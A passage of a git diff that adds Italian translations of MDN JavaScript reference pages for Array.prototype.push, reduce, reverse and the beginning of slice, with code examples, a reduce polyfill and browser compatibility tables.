+
+<p><em>Non</em> utilizzare questo metodo se il secondo array (<code>moreVegs</code> in questo esempio) è molto grande, perché il numero massimo di parametri che una funzione può assumere è limitato nella pratica. Vedere {{jsxref("Function.apply", "apply()")}} per ulteriori dettagli.</p>
+
+<pre class="brush: js notranslate">var vegetables = ['pastinaca', 'patata'];
+var moreVegs = ['sedano', 'barbabietola'];
+
+// Unire il secondo array nel primo
+// Equivalente a vegetables.push('sedano', 'barbabietola');
+Array.prototype.push.apply(vegetables, moreVegs);
+
+console.log(vegetables); // ['pastinaca', 'patata', 'sedano', 'barbabietola']
+</pre>
+
+<h3 id="Utilizzo_di_un_oggetto_come_un_array">Utilizzo di un oggetto come un array</h3>
+
+<p>Come accennato in precedenza, <code>push</code> è intenzionalmente generica e possiamo usarla a nostro vantaggio. <code>Array.prototype.push</code> può funzionare benissimo su un oggetto, come mostra questo esempio. Si noti che non creiamo un array per memorizzare la raccolta di oggetti. Al contrario, memorizziamo la raccolta sull'oggetto stesso e utilizziamo <code>call</code> su <code>Array.prototype.push</code> per ingannare il metodo e fargli pensare che siamo di fronte a un array, e funziona solo grazie al modo in cui JavaScript ci permette di stabilire il contesto di esecuzione come preferiamo.</p>
+
+<pre class="brush: js notranslate">var obj = {
+    length: 0,
+
+    addElem: function addElem(elem) {
+        // obj.length viene automaticamente incrementato
+        // ogni volta che viene aggiunto un elemento.
+        [].push.call(this, elem);
+    }
+};
+
+// Aggiungiamo alcuni oggetti vuoti solo per illustrare.
+obj.addElem({});
+obj.addElem({});
+console.log(obj.length);
+// → 2
+</pre>
+
+<p>Si noti che anche se <code>obj</code> non è un array, il metodo <code>push</code> ha incrementato la proprietà di <code>length</code> di<code>obj</code> come se si trattasse di un array vero e proprio.</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_di_Browser">Compatibilità di Browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità di questa pagina viene generata da dati strutturati. Se desideri contribuire ai dati, controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e invia una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/reduce/index.html b/files/it/web/javascript/reference/global_objects/array/reduce/index.html
new file mode 100644
index 0000000000..de063df929
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/reduce/index.html
@@ -0,0 +1,576 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+tags:
+  - Array
+  - Array method
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reduce
+  - Referenza
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>reduce()</strong></code> esegue una funzione <strong>reducer</strong> (che tu fornisci) su ogni elemento dell'array, risultante in un unico output.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+<div>I sorgenti per questo esempio interattivo è disponibile su un repository GitHub. Se desideri contribuire al progetto, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviaci una pull request.</div>
+
+<p>La funzione <strong>reducer</strong> accetta quattro argomenti:</p>
+
+<ol>
+ <li>Accumulatore (acc)</li>
+ <li>Valore corrente (cur)</li>
+ <li>Indice corrente (idx)</li>
+ <li>Array sul quale viene eseguito il metodo (src)</li>
+</ol>
+
+<p>Il valore restituito della funzione <strong>reducer</strong> viene assegnato all'accumulatore, il cui valore viene memorizzato attraverso ogni iterazione nell'intero array e in definitiva, diventa il valore finale finale singolo.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><var>arr.reduce(callback(accumulator, currentValue[, index[, array]]) [, initialValue])</var></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Una funzione da eseguire su ogni elemento dell'array (tranne il primo, se non viene fornita <code>initialValue</code>), accetta 4 argomenti:
+ <dl>
+  <dt><code>accumulator</code></dt>
+  <dd>L'accumulatore accumula i valori di ritorno del callback. È il valore accumulato precedentemente restituito nell'ultima chiamata del callback o <code>initialValue</code>, se fornito (vedere di seguito).</dd>
+  <dt><code>currentValue</code></dt>
+  <dd>L'elemento corrente in elaborazione nell'array.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>L'indice dell'elemento corrente in elaborazione nell'array. Inizia dall'indice 0 se viene fornito <code>initialValue</code> Altrimenti, inizia dall'indice 1.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>L'array a cui viene applicato <code>reduce()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code> {{optional_inline}}</dt>
+ <dd>Un valore da utilizzare come primo argomento della prima chiamata del <code>callback</code>. Se non viene fornito <code>initialValue</code> il primo elemento dell'array verrà utilizzato e saltato. Chiamare <code>reduce()</code> su un array vuoto senza <code>initialValue</code> genererà un <code>TypeError</code>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il singolo valore che risulta dalla riduzione.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>reduce()</code> esegue il <code>callback</code> una volta per ogni valore assegnato presente nell'array, prendendo quattro argomenti:</p>
+
+<ul>
+ <li><code>accumulator</code></li>
+ <li><code>currentValue</code></li>
+ <li><code>currentIndex</code></li>
+ <li><code>array</code></li>
+</ul>
+
+<p>La prima volta che viene chiamato il callback, <code>accumulator</code> e <code>currentValue</code> possono essere uno dei due valori. Se <code>initialValue</code> viene fornito nella chiamata a <code>reduce()</code>, <code>accumulator</code> sarà uguale a <code>initialValue</code>, e <code>currentValue</code> sarà uguale al primo valore nell'array. Se non viene fornito alcun valore <code>initialValue</code>, <code>accumulator</code> sarà uguale al primo valore dell'array e <code>currentValue</code> sarà uguale al secondo.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Se non viene fornito <code>initialValue</code>, <code>reduce()</code> eseguirà la funzione di callback a partire dall'indice 1, saltando il primo indice. Se viene fornito <code>initialValue</code>, inizierà dall'indice 0.</p>
+</div>
+
+<p>Se l'array è vuoto e non viene fornito <code>initialValue</code> verrà generato un {{jsxref("TypeError")}}. Se l'array ha solo un elemento (indipendentemente dalla posizione) e non viene fornito <code>initialValue</code>, o se è fornito <code>initialValue</code> ma l'array è vuoto, il valore solo verrà restituito <em>senza</em> chiamare <em><code>callback</code>.</em></p>
+
+<p>Di solito è più sicuro fornire <code>initialValue</code> perché ci sono tre output possibili senza <code>initialValue</code>, come mostrato nell'esempio seguente.</p>
+
+<pre class="brush: js notranslate">var maxCallback = ( acc, cur ) =&gt; Math.max( acc.x, cur.x );
+var maxCallback2 = ( max, cur ) =&gt; Math.max( max, cur );
+
+// reduce() without initialValue
+[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42
+[ { x: 22 }            ].reduce( maxCallback ); // { x: 22 }
+[                      ].reduce( maxCallback ); // TypeError
+
+// map/reduce; better solution, also works for empty or larger arrays
+[ { x: 22 }, { x: 42 } ].map( el =&gt; el.x )
+                        .reduce( maxCallback2, -Infinity );
+</pre>
+
+<h3 id="Come_funziona_reduce">Come funziona reduce()</h3>
+
+<p>Supponiamo che si sia verificato il seguente uso di <code>reduce()</code>:</p>
+
+<pre class="brush: js notranslate">[0, 1, 2, 3, 4].reduce(function(accumulator, currentValue, currentIndex, array) {
+  return accumulator + currentValue;
+});
+</pre>
+
+<p>Il callback verrebbe invocato quattro volte, con gli argomenti e i valori restituiti in ogni chiamata come segue:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>callback</code></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>currentIndex</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">valore ritornato</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">prima chiamata</th>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+   <td>1</td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">seconda chiamata</th>
+   <td><code>1</code></td>
+   <td><code>2</code></td>
+   <td>2</td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <th scope="row">terza chiamata</th>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td>3</td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <th scope="row">quarta chiamata</th>
+   <td><code>6</code></td>
+   <td><code>4</code></td>
+   <td>4</td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il valore restituito da <code>reduce()</code> sarà quello dell'ultima chiamata del callback (<code>10</code>).</p>
+
+<p>È inoltre possibile fornire una {{jsxref("Functions/Arrow_functions", "Arrow Function","",1)}} al posto di una funzione completa. Il seguente codice produrrà lo stesso output del codice nel blocco sopra riportato:</p>
+
+<pre class="brush: js notranslate">[0, 1, 2, 3, 4].reduce( (accumulator, currentValue, currentIndex, array) =&gt; accumulator + currentValue );
+</pre>
+
+<p>Se dovessi fornire <code>initialValue</code> come secondo argomento a <code>reduce()</code>, il risultato sarebbe simile a questo:</p>
+
+<pre class="brush: js notranslate">[0, 1, 2, 3, 4].reduce((accumulator, currentValue, currentIndex, array) =&gt; {
+    return accumulator + currentValue;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>callback</code></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>currentIndex</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">valore restituito</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">prima chiamata</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">seconda chiamata</th>
+   <td><code>10</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <th scope="row">terza chiamata</th>
+   <td><code>11</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>13</code></td>
+  </tr>
+  <tr>
+   <th scope="row">quarta chiamata</th>
+   <td><code>13</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <th scope="row">quinta chiamata</th>
+   <td><code>16</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il valore restituito da <code>reduce()</code> in questo caso sarebbe <code>20</code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Sommare_tutti_i_valori_di_un_array">Sommare tutti i valori di un array</h3>
+
+<pre class="brush: js notranslate">var sum = [0, 1, 2, 3].reduce(function (accumulator, currentValue) {
+  return accumulator + currentValue;
+}, 0);
+// sum è 6
+
+</pre>
+
+<p>In alternativa scritto con una arrow function:</p>
+
+<pre class="brush: js notranslate">var total = [ 0, 1, 2, 3 ].reduce(
+  ( accumulator, currentValue ) =&gt; accumulator + currentValue,
+  0
+);</pre>
+
+<h3 id="Somma_dei_valori_in_un_array_di_oggetti">Somma dei valori in un array di oggetti</h3>
+
+<p>Per riassumere i valori contenuti in un array di oggetti, <strong>devi</strong> fornire <code>initialValue</code>, in modo che ogni elemento passi attraverso la tua funzione</p>
+
+<pre class="brush: js notranslate">var initialValue = 0;
+var sum = [{x: 1}, {x: 2}, {x: 3}].reduce(function (accumulator, currentValue) {
+    return accumulator + currentValue.x;
+},initialValue)
+
+console.log(sum) // logs 6
+</pre>
+
+<p>In alternativa scritto con una arrow function:</p>
+
+<pre class="brush: js notranslate">var initialValue = 0;
+var sum = [{x: 1}, {x: 2}, {x: 3}].reduce(
+    (accumulator, currentValue) =&gt; accumulator + currentValue.x
+    ,initialValue
+);
+
+console.log(sum) // logs 6</pre>
+
+<h3 id="Appiattire_una_serie_di_array">Appiattire una serie di array</h3>
+
+<pre class="brush: js notranslate">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  function(accumulator, currentValue) {
+    return accumulator.concat(currentValue);
+  },
+  []
+);
+// flattened is [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>In alternativa scritto con una arrow function:</p>
+
+<pre class="brush: js notranslate">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  ( accumulator, currentValue ) =&gt; accumulator.concat(currentValue),
+  []
+);
+</pre>
+
+<h3 id="Conteggio_delle_istanze_di_valori_in_un_oggetto">Conteggio delle istanze di valori in un oggetto</h3>
+
+<pre class="brush: js notranslate">var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice'];
+
+var countedNames = names.reduce(function (allNames, name) {
+  if (name in allNames) {
+    allNames[name]++;
+  }
+  else {
+    allNames[name] = 1;
+  }
+  return allNames;
+}, {});
+// countedNames is:
+// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 }
+</pre>
+
+<h3 id="Raggruppamento_di_oggetti_in_base_a_una_proprietà">Raggruppamento di oggetti in base a una proprietà</h3>
+
+<pre class="brush: js notranslate">var people = [
+  { name: 'Alice', age: 21 },
+  { name: 'Max', age: 20 },
+  { name: 'Jane', age: 20 }
+];
+
+function groupBy(objectArray, property) {
+  return objectArray.reduce(function (acc, obj) {
+    var key = obj[property];
+    if (!acc[key]) {
+      acc[key] = [];
+    }
+    acc[key].push(obj);
+    return acc;
+  }, {});
+}
+
+var groupedPeople = groupBy(people, 'age');
+// groupedPeople is:
+// {
+//   20: [
+//     { name: 'Max', age: 20 },
+//     { name: 'Jane', age: 20 }
+//   ],
+//   21: [{ name: 'Alice', age: 21 }]
+// }
+</pre>
+
+<h3 id="Array_di_legame_contenuti_in_una_serie_di_oggetti_che_utilizzano_lo_spread_operator_e_initialValue">Array di legame contenuti in una serie di oggetti che utilizzano lo spread operator e initialValue</h3>
+
+<pre class="brush: js notranslate">// friends - an array of objects
+// where object field "books" - list of favorite books
+var friends = [{
+  name: 'Anna',
+  books: ['Bible', 'Harry Potter'],
+  age: 21
+}, {
+  name: 'Bob',
+  books: ['War and peace', 'Romeo and Juliet'],
+  age: 26
+}, {
+  name: 'Alice',
+  books: ['The Lord of the Rings', 'The Shining'],
+  age: 18
+}];
+
+// allbooks - list which will contain all friends' books +
+// additional list contained in initialValue
+var allbooks = friends.reduce(function(accumulator, currentValue) {
+  return [...accumulator, ...currentValue.books];
+}, ['Alphabet']);
+
+// allbooks = [
+//   'Alphabet', 'Bible', 'Harry Potter', 'War and peace',
+//   'Romeo and Juliet', 'The Lord of the Rings',
+//   'The Shining'
+// ]</pre>
+
+<h3 id="Rimuovi_gli_elementi_duplicati_nellarray">Rimuovi gli elementi duplicati nell'array</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Se si utilizza un ambiente compatibile con {{jsxref("Set")}} e {{jsxref("Array.from()")}}, è possibile utilizzare <code>let orderedArray = Array.from(new Set(myArray));</code> per ottenere un array in cui sono stati rimossi gli elementi duplicati.</p>
+</div>
+
+<pre class="brush: js notranslate">var myArray = ['a', 'b', 'a', 'b', 'c', 'e', 'e', 'c', 'd', 'd', 'd', 'd'];
+var myOrderedArray = myArray.reduce(function (accumulator, currentValue) {
+  if (accumulator.indexOf(currentValue) === -1) {
+    accumulator.push(currentValue);
+  }
+  return accumulator
+}, [])
+
+console.log(myOrderedArray);</pre>
+
+<h3 id="Eseguire_le_Promises_in_Sequenza">Eseguire le Promises in Sequenza</h3>
+
+<pre class="brush: js notranslate">/**
+ * Esegue promises da un array di funzioni che possono restituire promises
+ * in modo concatenato
+ *
+ * @param {array} arr - promise arr
+ * @return {Object} promise object
+ */
+function runPromiseInSequence(arr, input) {
+  return arr.reduce(
+    (promiseChain, currentFunction) =&gt; promiseChain.then(currentFunction),
+    Promise.resolve(input)
+  );
+}
+
+// promise function 1
+function p1(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 5);
+  });
+}
+
+// promise function 2
+function p2(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 2);
+  });
+}
+
+// function 3  - sarà avvolta in una promise risolta da .then()
+function f3(a) {
+ return a * 3;
+}
+
+// promise function 4
+function p4(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 4);
+  });
+}
+
+const promiseArr = [p1, p2, f3, p4];
+runPromiseInSequence(promiseArr, 10)
+  .then(console.log);   // 1200
+</pre>
+
+<h3 id="Composizione_funzionale_per_tubazioni">Composizione funzionale per tubazioni</h3>
+
+<pre class="brush: js notranslate">// Elementi da utilizzare per la composizione
+const double = x =&gt; x + x;
+const triple = x =&gt; 3 * x;
+const quadruple = x =&gt; 4 * x;
+
+// Function composition enabling pipe functionality
+const pipe = (...functions) =&gt; input =&gt; functions.reduce(
+    (acc, fn) =&gt; fn(acc),
+    input
+);
+
+// Funzioni composte per la moltiplicazione di valori specifici
+const multiply6 = pipe(double, triple);
+const multiply9 = pipe(triple, triple);
+const multiply16 = pipe(quadruple, quadruple);
+const multiply24 = pipe(double, triple, quadruple);
+
+// Utilizzo
+multiply6(6); // 36
+multiply9(9); // 81
+multiply16(16); // 256
+multiply24(10); // 240
+
+</pre>
+
+<h3 id="Scrivere_map_usando_reduce">Scrivere map usando reduce</h3>
+
+<pre class="brush: js notranslate">if (!Array.prototype.mapUsingReduce) {
+  Array.prototype.mapUsingReduce = function(callback, thisArg) {
+    return this.reduce(function(mappedArray, currentValue, index, array) {
+      mappedArray[index] = callback.call(thisArg, currentValue, index, array);
+      return mappedArray;
+    }, []);
+  };
+}
+
+[1, 2, , 3].mapUsingReduce(
+  (currentValue, index, array) =&gt; currentValue + index + array.length
+); // [5, 7, , 10]
+
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js notranslate">// Production steps of ECMA-262, Edition 5, 15.4.4.21
+// Reference: http://es5.github.io/#x15.4.4.21
+// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
+if (!Array.prototype.reduce) {
+  Object.defineProperty(Array.prototype, 'reduce', {
+    value: function(callback /*, initialValue*/) {
+      if (this === null) {
+        throw new TypeError( 'Array.prototype.reduce ' +
+          'called on null or undefined' );
+      }
+      if (typeof callback !== 'function') {
+        throw new TypeError( callback +
+          ' is not a function');
+      }
+
+      // 1. Let O be ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // Steps 3, 4, 5, 6, 7
+      var k = 0;
+      var value;
+
+      if (arguments.length &gt;= 2) {
+        value = arguments[1];
+      } else {
+        while (k &lt; len &amp;&amp; !(k in o)) {
+          k++;
+        }
+
+        // 3. If len is 0 and initialValue is not present,
+        //    throw a TypeError exception.
+        if (k &gt;= len) {
+          throw new TypeError( 'Reduce of empty array ' +
+            'with no initial value' );
+        }
+        value = o[k++];
+      }
+
+      // 8. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kPresent be ? HasProperty(O, Pk).
+        // c. If kPresent is true, then
+        //    i.  Let kValue be ? Get(O, Pk).
+        //    ii. Let accumulator be ? Call(
+        //          callbackfn, undefined,
+        //          « accumulator, kValue, k, O »).
+        if (k in o) {
+          value = callback(value, o[k], k, o);
+        }
+
+        // d. Increase k by 1.
+        k++;
+      }
+
+      // 9. Return accumulator.
+      return value;
+    }
+  });
+}
+</pre>
+
+<p>Se hai bisogno di supportare motori JavaScript veramente obsoleti che non supportano <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a></code>, è meglio non applicare polyfills ai metodi di <code>Array.prototype</code>, poiché non puoi renderli non enumerabili.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>La tabella di compatibilità in questa pagina è generata a partire da dati strutturati. Se desideri contribuire ai dati, visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</p>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/reverse/index.html b/files/it/web/javascript/reference/global_objects/array/reverse/index.html
new file mode 100644
index 0000000000..750befde61
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/reverse/index.html
@@ -0,0 +1,133 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/Array/reverse
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>reverse()</strong></code>  inverte ua matrice (array) sul posto. Il primo elemento di matrice diventa l'ultima, e l'ultimo elemento di matrice diventa il primo.</p>
+
+<pre class="brush: js">var a = ['one', 'two', 'three'];
+a.reverse();
+
+console.log(a); // ['three', 'two', 'one']
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>a</var>.reverse()</pre>
+
+<h3 id="Valore_prodotto.">Valore prodotto. </h3>
+
+<p>La matrice invertita.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo reverse traspone gli elementi della matrice chiamata, <u>mutando la matrice</u>, e restituendo un riferimento alla matrice.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Inversione_degli_elementi_nella_matrice">Inversione degli elementi nella matrice</h3>
+
+<p>L'esempio seguente crea una matrice a, contenente tre elementi, quindi inverte la matrice. La chiamata ad invertire () restituisce un riferimento alla matrice invertita a.</p>
+
+<pre class="brush: js">var a = ['one', 'two', 'three'];
+var reversed = a.reverse();
+
+console.log(a);        // ['three', 'two', 'one']
+console.log(reversed); // ['three', 'two', 'one']
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>definizione iniziale. Implementata in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("5.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/slice/index.html b/files/it/web/javascript/reference/global_objects/array/slice/index.html
new file mode 100644
index 0000000000..419da77ae4
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/slice/index.html
@@ -0,0 +1,241 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/slice
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code>Il metodo <strong>slice()</strong></code> ritorna la copia di una porzione dell'array contenente gli elementi compresi tra <code>inzio</code> e <code>fine</code> (<code>fine</code> escluso). Il metodo <strong>slice()</strong> ritorna la copia dell'intero array se non  contiene gli elementi di inizio e fine. L'array di partenza non viene modificato.</p>
+
+<pre class="brush: js">var a = ['zero', 'one', 'two', 'three'];
+var sliced = a.slice(1, 3);
+
+console.log(a);      // ['zero', 'one', 'two', 'three']
+console.log(sliced); // ['one', 'two']
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.slice()
+<var>arr</var>.slice(<var>inizio</var>)
+<var>arr</var>.slice(<var>inizio</var>, <var>fine</var>)
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>L'indice zero-based indica da dove inizia l'intervallo da selezionare.</dd>
+ <dd>Può essere utilizzato un indice negativo, indicante l'offset dall'ultimo elemento dell'array. <code>slice(-2)</code> seleziona gli ultimi due elementi della sequenza.</dd>
+ <dd>Se <code>begin</code> non viene impostato , <code>slice</code> parte dall'indice <code>0</code>.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>L' indice zero-base indica dove finisce l'intervallo da selezionare. <code>slice </code>seleziona gli elementi fino a quell'indice ma non l'elemento all'indice <code>end</code>.</dd>
+ <dd>Per esempio, <code>slice(1,4)</code>estrae dal secondo elemento dell'array al quarto escluso (elementi con indice 1, 2 e 3).</dd>
+ <dd>Puo essere utilizzato un indice negativo, tale indice indicherebbe l'offset dall'ultimo elemento dell'array. <code>slice(2,-1)</code> estrae dal terzo elemento della sequenza al penuntimo.</dd>
